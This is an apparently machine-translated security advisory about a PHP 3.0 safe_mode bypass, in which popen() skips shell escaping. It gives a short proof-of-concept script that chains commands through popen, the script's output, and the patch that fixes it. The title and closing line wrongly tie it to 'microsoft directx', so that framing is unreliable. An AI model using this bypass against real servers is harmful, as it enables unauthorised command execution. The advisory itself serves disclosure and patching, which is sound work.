microsoft directx PHP3 safe_mode invalid vulnerability

Affected systems: PHP 3.00
--------------------------------------------- -------------------------------------
Description:
PHP Version 3.0 is an HTML embedded Scripting language. Most of its syntax is transplanted to C, Java and Perl and combined with the features of
PHP. This language allows web developers to quickly create dynamic web pages.
Because it executes on the web server and allows users to execute code, PHP has a built-in security feature called 'safe_mode',
used to control the execution of commands in the webroot environment that allows PHP operations.
The implementation mechanism is to transfer the shell command to the EscapeShellCmd()
function through a system call that forces the execution of the shell command. This function is used to confirm that the command cannot be executed outside the webroot directory.
In some versions of PHP, EscapeShellCmd() fails when using the popen() command, allowing malicious users to
use the 'popen' system call to perform illegal operations.
------------------------------------------------- -------------------------------
Test program:
Warning: The following program (method) may be offensive, only For security research and teaching purposes. Use at your own risk!
＜?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp＜br＞n";
while($line = fgets ($fp, 1024)):
printf("%s＜br＞n", $line);
endwhile;
pclose($fp);
phpinfo();
?＞
The output result is as follows:
1
total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
and from the configuration values ​​of phpinfo():
safe_mode 0 1
------------------------------------------------- ----------------------------------
Suggestion:
Index: functions/file.c
==== ================================================== =============
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf ＜rasmus@lerdorf.on.ca＞ |
+--------------------------------- ----------------------------------------+
*/
-/* $Id : file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include ＜stdio.h＞
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string .h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5
@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;
@@ -600,7 +601,11 @ @
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}
- fp = popen(buf,p);
+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error (E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;

The above introduces the microsoft directx PHP3 safe_mode failure vulnerability, including the content of microsoft directx. I hope it will be helpful to friends who are interested in PHP tutorials.